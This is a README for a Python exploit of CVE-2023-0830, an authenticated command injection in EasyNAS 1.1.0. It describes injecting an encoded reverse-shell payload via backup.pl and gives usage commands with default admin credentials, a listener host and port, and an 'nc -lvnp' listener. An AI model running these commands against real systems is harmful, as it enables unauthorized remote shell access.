Share
## https://sploitus.com/exploit?id=34AE7FD3-84D3-54C7-AF16-ADAFD46E2ABD
# CVE-2023-0830: EasyNAS 1.1.0 Authenticated OS Command Injection Exploit

This Python script is a powerful exploit for EasyNAS version 1.1.0 with enhanced functionality, including an integrated listener. The vulnerability exploited is a command injection flaw, which requires authentication.

The script establishes a session with the target server, then sends a login request with user-provided credentials. Upon successful authentication, the script constructs a payload that, when executed, opens a reverse shell connection to a user-specified IP and port. This payload is URL and Base64 encoded and then injected into the `backup.pl` file on the server via a crafted GET request.

## CVE: CVE-2023-0830

## Exploit Author
Ivan Spiridonov (xbz0n)
https://xbz0n.sh

## Vendor home page 
[https://www.easynas.org](https://www.easynas.org)

## Features
- Integrated reverse shell listener - no need for a separate netcat process
- Automatic IP address detection for listener
- Option to use different shell types (bash, sh, python)
- Support for both HTTP and HTTPS
- Support for external listeners

## Usage

### Basic usage with integrated listener (recommended):
```bash
python3 CVE-2023-0830-v2.py 192.168.0.108:1443 admin admin
```

### Using external listener (start nc -lvnp 4444 first):
```bash
python3 CVE-2023-0830-v2.py 192.168.0.108:1443 admin admin --mode reverse --lhost 192.168.0.100 --lport 4444
```

### Options:
```
--mode {shell,reverse}    Exploitation mode: shell (integrated reverse shell) or reverse (external listener)
--lhost IP_ADDRESS        IP address for the reverse shell listener (auto-detected by default)
--lport PORT              Port for the reverse shell listener (default: 4444)
--protocol {http,https}   Protocol to use (default: https)
--verbose                 Enable verbose output
--shell {bash,sh,python}  Specify the shell type to use with integrated listener (default: bash)
```

## Dependencies
- Python 3
- Requests library

## Disclaimer
This script is for educational purposes and authorized penetration testing only. Always seek explicit permission before running any penetration tests against a network or system.

Please use responsibly.